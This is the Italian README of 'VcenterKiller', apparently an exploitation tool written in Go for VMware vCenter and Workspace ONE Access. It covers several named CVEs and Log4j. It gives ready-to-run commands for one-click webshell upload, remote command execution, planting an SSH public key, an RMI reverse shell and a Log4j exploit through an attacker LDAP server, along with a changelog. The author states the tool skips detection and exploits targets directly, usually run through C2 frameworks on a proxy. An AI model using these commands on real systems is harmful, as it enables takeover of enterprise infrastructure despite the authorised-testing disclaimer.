
Uno strumento di sfruttamento completo per Vcenter, che include le più attuali CVE-2021-21972, CVE-2021-21985 e CVE-2021-22005, CVE-2022-22954 di One Access, CVE-2022-22972/31656 e log4j, offre funzionalità di upload one-click di webshell, esecuzione di comandi o upload di chiave pubblica per connessione SSH senza password.
Fratelli che configurate un ambiente di vulnerabilità in locale, con vckiller per verificare log4j fallirete quasi sempre, perché in ambiente VMware con modalità NAT, la scheda di uscita del modulo di verifica viene considerata come 127.0.0.1, quindi l'indirizzo del server LDAP che il target contatta diventa 127.0.0.1, e la verifica fallisce 😏
Se incontrate bug, aprite una issue. Questo strumento è stato scritto solo per comodità, non ha niente di rivoluzionario.
Uno strumento completo di verifica per Vcenter, che include le vulnerabilità più diffuse: CVE-2021-21972, CVE-2021-21985 e CVE-2021-22005. Fornisce funzionalità come upload one-click di webshell, esecuzione di comandi, oppure upload di chiave pubblica e connessione SSH, e rilevamento/sfruttamento della vulnerabilità Apache Log4j CVE-2021-44228 su Vcenter, ad esempio esecuzione di comandi con ritorno dell'output (richiede un server LDAP malevolo). Ora non serve più avviare un server LDAP separato; ho implementato manualmente una modalità di sfruttamento basata sullo strumento jndi-injection. Vcenter utilizza Tomcat come middleware, quindi basta usare la catena di sfruttamento TomcatBypass.
Di solito Vcenter è posizionato nella rete interna e le caratteristiche delle vulnerabilità sono abbastanza note (es. fscan le trova subito). Quindi VcenterKiller non serve per rilevare se il target è vulnerabile, ma per tentare direttamente lo sfruttamento. Di solito viene eseguito tramite CS/MSF su un proxy, quindi ho rimosso output superflui e decorazioni.
Perché Go? Perché Python è comodo da scrivere ma fastidioso da usare (dipendenze varie, compilato troppo grande), C# non è cross‑platform, l'ho abbandonato a metà.
go build -o main.exe
./main.exe -u https://192.168.1.1 -m 21985 -c whoami
./main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
./main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //carica chiave pubblica
./main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
./main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j
./main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami //oppure non specificare server LDAP
./main.exe -u https://xx.xx.com -m 22954 whoami
./main.exe -u https://xx.xx.com -m 22972 //ottieni cookie
./main.exe -u https://xx.xx.com -m 31656 //Se CVE-2022-22972 non funziona, prova CVE-2022-31656
Questo strumento è destinato esclusivamente ad attività di sicurezza aziendale debitamente autorizzate, come esercitazioni interne di attacco/difesa, verifica e riesame delle vulnerabilità. Se avete bisogno di testare l'usabilità dello strumento, configurate un ambiente target apposito.
Durante l'utilizzo dello strumento per verifiche, dovete assicurarvi che tale attività sia conforme alle leggi locali e di aver ottenuto le dovute autorizzazioni. Non utilizzatelo su target non autorizzati.
Se nel corso dell'utilizzo commettete azioni illegali, ne assumerete tutte le conseguenze. Non ci assumiamo alcuna responsabilità legale o derivante.
V1.0 Rilascio
V1.1 Aggiunta funzionalità di shell inversa via RMI per CVE-2021-21985 (necessita di avviare un server RMI, es. jndi-injection-exploit)
V1.2 Aggiunta capacità di rilevamento e verifica di log4j su Vcenter
V1.3 Aggiunta verifica vulnerabilità su Vmware Workspace ONE Access: CVE-2022-22954 (RCE); CVE-2022-22972 e CVE-2022-31656 (bypass autenticazione)
V1.3.1 Corretto problema che ignorava la porta nel rilevamento log4j (alcuni servizi cambiano la porta default 443)
V1.3.2 Modificata modalità di sfruttamento log4j: esecuzione comandi con output tramite TomcatBypassEcho. Testato su Vcenter 7.0 Linux.
V1.3.3 Aggiunto sfruttamento differenziato per versioni 6.7 e 7.0: per 7.0 obbligatorio TomcatBypass, per 6.7 basta plain BASIC
V1.3.4 Modificata logica di verifica log4j: ora esegue 5 tentativi con payload diversi casuali, se c'è output lo mostra, altrimenti no
V1.3.5 Eliminata dipendenza da Jndi-Injection-Exploit per log4j, ora esegue comandi e ottiene output direttamente
V1.3.6 Modificata funzione SSH per 21972 e ottimizzati altri dettagli
V1.3.7 Aggiunta funzionalità proxy, supporto HTTP e SOCKS
V1.3.8 Non ancora iniziato, si valuta l'aggiunta di funzionalità...
...